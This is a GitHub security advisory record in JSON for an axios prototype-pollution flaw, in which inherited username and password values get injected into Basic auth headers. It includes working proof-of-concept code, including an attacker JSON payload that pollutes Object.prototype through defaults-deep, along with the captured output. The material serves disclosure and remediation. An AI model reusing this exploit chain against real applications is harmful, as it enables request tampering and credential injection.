CVE-2026-67314: Axios Prototype Pollution Auth Subfields Can Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xj6q-8x83-jv6g",
  "modified" : "2026-08-07T17:52:10Z",
  "published" : "2026-07-20T17:51:17Z",
  "aliases" : [ "CVE-2026-67314" ],
  "summary" : "Axios: Prototype pollution auth subfields can inject Basic auth",
  "details" : "## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly:\n\n```js\nconst configAuth = own('auth');\nif (configAuth) {\n  const username = configAuth.username || '';\n  const password = configAuth.password || '';\n  auth = username + ':' + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n  headers.set(\n    'Authorization',\n    'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n  );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\n\nObject.prototype.username = 'victim-user';\nObject.prototype.password = 'victim-password-leaked';\n\nconst server = http.createServer((req, res) => {\n  console.log({\n    url: req.url,\n    authorization: req.headers.authorization || null\n  });\n\n  res.end('{}');\n  server.close(() => {\n    delete Object.prototype.username;\n    delete Object.prototype.password;\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () => {\n  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n    auth: {}\n  });\n});\n```\n\nExpected output:\n\n```json\n{\n  \"url\": \"/api\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n<details>\n<summary>Original Report</summary>\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic <base64>` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):\n\n```js\nconst configAuth = own('auth');         // ← top-level guard OK\nif (configAuth) {\n    const username = configAuth.username || '';   // ← reads .username on the inherited chain\n    const password = configAuth.password || '';   // ← reads .password on the inherited chain\n    auth = username + ':' + password;\n}\n```\n\n`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322–324):\n\n```js\nconst authUsername =\n    authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;\nconst authPassword =\n    authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739–740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own('auth');               // ← top-level guard OK\n...\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n//   ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape — top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n    buildFullPath(baseURL, url, allowAbsoluteUrls),\n    config.params,            // ← direct read, not through own()\n    config.paramsSerializer   // ← direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge —\nthe canonical insecure backend pattern — exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst http = require('node:http');\nconst axios = require('axios');\nconst defaultsDeep = require('defaults-deep');\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];\nfunction scrub() {\n  for (const k of PROTO_KEYS) {\n    try { delete Object.prototype[k]; } catch (_) {}\n  }\n}\nscrub();\n\n// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n  \"constructor\": {\n    \"prototype\": {\n      \"username\": \"victim-user\",\n      \"password\": \"victim-password-leaked\",\n      \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n    }\n  }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n//   After this line:\n//     Object.prototype.username  === \"victim-user\"\n//     Object.prototype.password  === \"victim-password-leaked\"\n//     Object.prototype.params    === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) => {\n  console.log('=== captured outbound request ===');\n  console.log(JSON.stringify({\n    method: req.method,\n    url: req.url,\n    authorization: req.headers.authorization || null,\n  }, null, 2));\n  res.end('{}');\n  server.close();\n  scrub();\n});\n\nserver.listen(0, '127.0.0.1', () => {\n  const port = server.address().port;\n\n  // 4) Realistic application wrapper: optional per-call overrides.\n  //    `auth: opts.auth || {}` is the common pattern — empty own object,\n  //    but inherited values walk the prototype chain.\n  function makeRequest(targetUrl, opts = {}) {\n    return axios.get(targetUrl, {\n      timeout: 5000,\n      auth: opts.auth || {},\n      params: opts.params || {},\n    });\n  }\n\n  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {\n    console.error('axios error:', e.message);\n    scrub();\n    process.exit(1);\n  });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc && cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n  request. If the request URL is attacker-influenced too (common in\n  webhook/oauth-callback patterns), the credentials flow directly to\n  the attacker. If not, they flow to the legitimate destination but\n  expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n  `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n  function, axios will execute that function with each `params`\n  invocation — same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n  precondition is \"deep-merges attacker JSON into a config object\n  without `__proto__`/`constructor` filtering, then uses the empty-\n  fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n  Both halves are very common in real codebases (we tested\n  `defaults-deep`, hand-rolled merges, and several lodash-family\n  utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n  Attributes — amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n       const configAuth = own('auth');\n       if (configAuth) {\n-        const username = configAuth.username || '';\n-        const password = configAuth.password || '';\n+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';\n+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';\n         auth = username + ':' + password;\n       }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n   // HTTP basic authentication\n   if (auth) {\n+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';\n+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';\n     headers.set(\n       'Authorization',\n       'Basic ' +\n-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))\n     );\n   }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922's `own('params')` / `own('paramsSerializer')` change — that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737–740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n  findings. The bundle's public tracking entry (without the working\n  exploit chain) is at\n  [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I'm happy to submit the patch as a PR if that helps. Or, if you'd\n  prefer to fold this into open PR #10922 (whose author is actively\n  responding to comments), please let me know and I'll coordinate.\n- Threat model honesty: this is **amplifier framing** — exploitation\n  requires a separate prototype-pollution primitive elsewhere in the\n  host process. That's how the existing GHSA-q8qp-cvcw-x6jj and\n  PR #10833 were framed too, so the precedent for \"in-scope as a\n  hardening fix\" is established.\n</details>",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "axios"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.15.2"
      }, {
        "fixed" : "1.18.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67314"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/axios/axios/pull/11000"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/axios/axios"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/axios/axios/releases/tag/v1.18.0"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T17:51:17Z",
    "nvd_published_at" : "2026-08-06T22:18:25Z"
  }
}